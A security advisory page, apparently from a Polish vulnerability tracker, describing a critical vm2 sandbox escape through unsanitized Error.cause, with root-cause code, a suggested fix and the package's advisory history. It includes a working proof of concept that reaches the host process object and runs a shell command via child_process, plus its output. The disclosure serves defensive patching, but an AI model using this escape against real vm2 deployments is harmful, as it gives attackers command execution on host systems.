Krytyczna

VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE

  • Ujawniono: 17.08.2026
  • Aktualizacja: 11.10.2026 10:22

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

js
function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    // ... cycle detection ...
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);      // sanitized
            e.suppressed = handleException(e.suppressed, visited); // sanitized
            return e;
        }
        if (proto === localAggregateErrorProto) {
            // sanitizes e.errors[] ...
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e; // .cause is NEVER checked
}

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

  • lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling)
  • lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause
  • docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

js
const { VM } = require('vm2');

const vm = new VM({
    sandbox: {
        hostFn: () => {
            throw new Error('fail', { cause: process });
        }
    }
});

const result = vm.run(`
    try {
        hostFn();
    } catch (e) {
        // .cause is not sanitized, so we get a direct reference to host process
        const proc = e.cause;
        proc.mainModule.require('child_process').execSync('id').toString();
    }
`);

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

  • Full host process access (read/write files, spawn processes, network access)
  • Sandbox escape with changed scope (CVSS S:C)
  • No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

js
function handleException(e, visited) {
    e = ensureThis(e);
    if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
    if (!visited) visited = new LocalWeakMap();
    if (apply(localWeakMapGet, visited, [e])) return e;
    apply(localWeakMapSet, visited, [e, true]);

    // Sanitize .cause on ALL errors (ES2022)
    try {
        if ('cause' in e) {
            e.cause = handleException(e.cause, visited);
        }
    } catch (ex) { /* best effort */ }

    let proto = localReflectGetPrototypeOf(e);
    while (proto !== null) {
        if (proto === localSuppressedErrorProto) {
            e.error = handleException(e.error, visited);
            e.suppressed = handleException(e.suppressed, visited);
            return e;
        }
        if (proto === localAggregateErrorProto) {
            if (localArrayIsArray(e.errors)) {
                for (let i = 0; i < e.errors.length; i++) {
                    e.errors[i] = handleException(e.errors[i], visited);
                }
            }
            return e;
        }
        proto = localReflectGetPrototypeOf(proto);
    }
    return e;
}

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

File Role
poc_error_cause_escape.js PoC demonstrating sandbox escape to RCE via unsanitized .cause
poc_error_cause_escape.js

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.6 3.11.6

Odnośniki

Ocena CVSS 9.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-693
Platforma
npm
Paczka
vm2
Ujawniono
17.08.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-m283-3h24-438v - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE ten wpis
    Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  16. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Pokaż więcej (20) Widać 40 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.